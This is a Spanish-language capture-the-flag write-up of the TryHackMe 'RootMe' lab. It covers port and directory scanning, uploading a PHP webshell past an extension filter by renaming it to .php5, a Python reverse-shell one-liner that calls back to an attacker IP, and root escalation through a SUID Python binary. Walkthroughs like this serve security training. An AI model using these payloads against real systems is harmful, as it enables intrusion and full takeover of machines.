RootMe es una maquina de TryHackMe con dificultad Facil donde obtuvimos acceso con una shell inversa tras realizar bypass al filtro de ficheros. Encontramos a Python con permisos SUID, nos ayudo a obtener acceso como root.
Room
Titulo |
RootMe |
Descripción |
A ctf for beginners, can you root me? |
Puntos |
410 |
Dificultad |
Facil |
Maker |
ReddyyZ |
NMAP
Escaneo de puertos tcp, nmap nos muestra el puerto http (80) y el puerto ssh (22) abiertos.
1
2
3
4
5
6
7
8
9
10
11
|
# Nmap 7.80 scan initiated Thu Sep 10 00:43:26 2020 as: nmap -Pn -sV -o mini_scan rootme.thm
Nmap scan report for rootme.thm (10.10.74.187)
Host is up (0.31s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Sep 10 00:44:08 2020 -- 1 IP address (1 host up) scanned in 42.04 seconds
|
HTTP
Encontramos una pagina web en el puerto 80.
GOBUSTER
Utilizamos gobuster para busqueda de directorios y archivos.
1
2
3
4
5
6
7
|
kali@kali:~/thm/rootme$ gobuster dir -u http://rootme.thm/ -w /usr/share/wordlists/dirb/common.txt -q -t 25 -x php,html,txt
/css (Status: 301)
/index.php (Status: 200)
/js (Status: 301)
/panel (Status: 301)
/server-status (Status: 403)
/uploads (Status: 301)
|
WWW-DATA - USER
En /panel
encontramos un formulario para subir archivos.
Intentamos subir un archivo PHP que contiene una mini webshell pero nos muestra un error. Al parecer los archivos PHP no estan permitidos.
1
|
<?php echo(system($_GET['cmd'])); ?>
|
Cambiamos el nombre del archivo a shell.php5
e intentamos nuevamente, ahora nos muestra un mensaje de que se subio exitosamente.
En /uploads
vemos nuestra webshell.
Le pasamos un comando a nuestra webshell y logramos ver el resultado de su ejecucion.
Ejecutamos una shell inversa utilizando nuestra webshell.
1
|
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",1338));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
|
Ponemos a la escucha netcat junto a rlwrap
en nuestra maquina (local).
Logramos obtener una shell con el usuario www-data
.
Y nuestra flag user.txt
.
PRIVILEGE ESCALATION
Hacemos una pequeña enumeracion de binarios SUID
y vemos a python
en la lista.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
bash-4.4$ find / -perm -4000 2> /dev/null | xargs ls -lah
find / -perm -4000 2> /dev/null | xargs ls -lah
-rwsr-xr-x 1 root root 31K Aug 11 2016 /bin/fusermount
-rwsr-xr-x 1 root root 43K Jan 8 2020 /bin/mount
-rwsr-xr-x 1 root root 63K Jun 28 2019 /bin/ping
-rwsr-xr-x 1 root root 44K Mar 22 2019 /bin/su
-rwsr-xr-x 1 root root 27K Jan 8 2020 /bin/umount
[... REDACTED ...]
-rwsr-sr-x 1 daemon daemon 51K Feb 20 2018 /usr/bin/at
-rwsr-xr-x 1 root root 75K Mar 22 2019 /usr/bin/chfn
-rwsr-xr-x 1 root root 44K Mar 22 2019 /usr/bin/chsh
-rwsr-xr-x 1 root root 75K Mar 22 2019 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 37K Mar 22 2019 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 40K Mar 22 2019 /usr/bin/newgrp
-rwsr-xr-x 1 root root 37K Mar 22 2019 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 59K Mar 22 2019 /usr/bin/passwd
-rwsr-xr-x 1 root root 22K Mar 27 2019 /usr/bin/pkexec
-rwsr-sr-x 1 root root 3.5M Aug 4 17:47 /usr/bin/python
-rwsr-xr-x 1 root root 146K Jan 31 2020 /usr/bin/sudo
-rwsr-xr-x 1 root root 19K Jun 28 2019 /usr/bin/traceroute6.iputils
-rwsr-xr-- 1 root messagebus 42K Jun 11 18:25 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 10K Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 427K Mar 4 2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 14K Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 111K Jul 10 14:00 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 99K Nov 23 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
bash-4.4$
|
Además de ello vemos en el archivo de historial de comandos que alguien utilizo python
para ejecutar una shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
bash-4.4$ cat .bash_history
id
whoami
ls
ls
cd /var
ls
cd www
ls
cat user.txt
find / -perm /4000
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
exit
bash-4.4$
|
Utilizamos el comando de GTFOBins - Python para ejecutar una shell como usuario root.
1
|
/usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
|
Logramos obtener nuestra shell y nuestra flag root.txt
.